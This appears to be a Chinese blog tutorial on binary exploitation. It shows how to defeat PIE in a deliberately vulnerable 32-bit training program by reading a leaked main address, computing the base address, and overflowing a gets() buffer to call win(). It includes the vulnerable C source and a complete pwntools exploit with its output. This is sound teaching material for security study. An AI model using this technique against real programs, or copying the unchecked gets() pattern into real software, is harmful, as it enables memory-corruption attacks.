- 发布于
利用已泄漏信息绕过 PIE
- 作者
- Name
- CuB3y0nd
- GitHub
- @CuB3y0nd
Table of Contents
0x01 源码
pie-32.zip
Binary
source.c
#include <stdio.h>
int main() {
vuln();
return 0;
}
void vuln() {
char buffer[20];
printf("Main Function is at: %lx\n", main);
gets(buffer);
}
void win() {
puts("PIE bypassed! Great job :D");
}
程序输出 main
的地址,我们可以通过它来计算出基地址。然后我们可以利用这个基地址计算出 win()
的地址。
0x02 分析
让我们运行该脚本以确保它是正确的 :D
$ ./vuln-32
Main Function is at: 0x5655f1b9
正如我们所期望的,它打印了 main
的地址。
0x03 利用
首先,让我们设置脚本。创建一个 ELF
对象(稍后会变得非常有用),然后启动该进程。
from pwn import *
context.log_level = 'debug'
elf = context.binary = ELF('./vuln-32')
p = process()
现在我们要获取 main
函数的地址。为此,我们可以简单地接收它,然后读取。
p.recvuntil('at: ')
main = int(p.recvline(), 16)
Note
由于我们接收了除地址之外的整行,因此只有地址才会出现在 p.recvline()
中。
现在我们将使用之前创建的 ELF
对象并设置它的基地址。sym
存储的是函数的相对偏移量,我们只要用绝对地址减去相对偏移就可以得到基地址。
设置基地址前 sym
字典中存储的是各函数的相对偏移量;设置基地址之后,sym
会变为存储各函数的绝对地址。
elf.address = main - elf.sym['main']
在这个例子中,elf.sym['main']
将返回 0x11b9
;如果我们设置基地址后再次运行它,它将返回 0x11b9 + 基地址
的值。本质上,我们是从泄漏的地址中减去 main
的偏移量,以获得二进制文件的基地址。
现在我们有了可以调用 win()
的基本信息,我们可以调用 win()
了:
payload = b'A' * 32
payload += p32(elf.sym['win'])
p.sendline(payload)
p.interactive()
Note
我假设你知道如何找到溢出 Padding 以及其他内容,因此我不会向你展示其中的每一步具体该怎么做,希望你能通过自己的能力解决它们。
如果你不知道该怎么办,请先去看我之前写的文章,好好思考每一步为什么这样做,相信会有所帮助。
$ python exp.py
[*] 'vuln-32'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process 'vuln-32': pid 147342
PIE bypassed! Great job :D
1x01 最终 Exploit
from pwn import *
# context.log_level = 'debug'
elf = context.binary = ELF('./vuln-32')
p = process()
p.recvuntil('at: ')
main = int(p.recvline(), 16)
elf.address = main - elf.sym['main']
payload = b'A' * 32
payload += p32(elf.sym['win'])
p.sendline(payload)
p.interactive()
0x04 总结
通过泄漏的 main
地址,我们能够计算出二进制文件的基地址。由此我们可以计算出 win
的地址并调用它。
0x05 64-bit
自己尝试一下 64-bit 的版本该怎么绕过。
pie-64.zip
Binary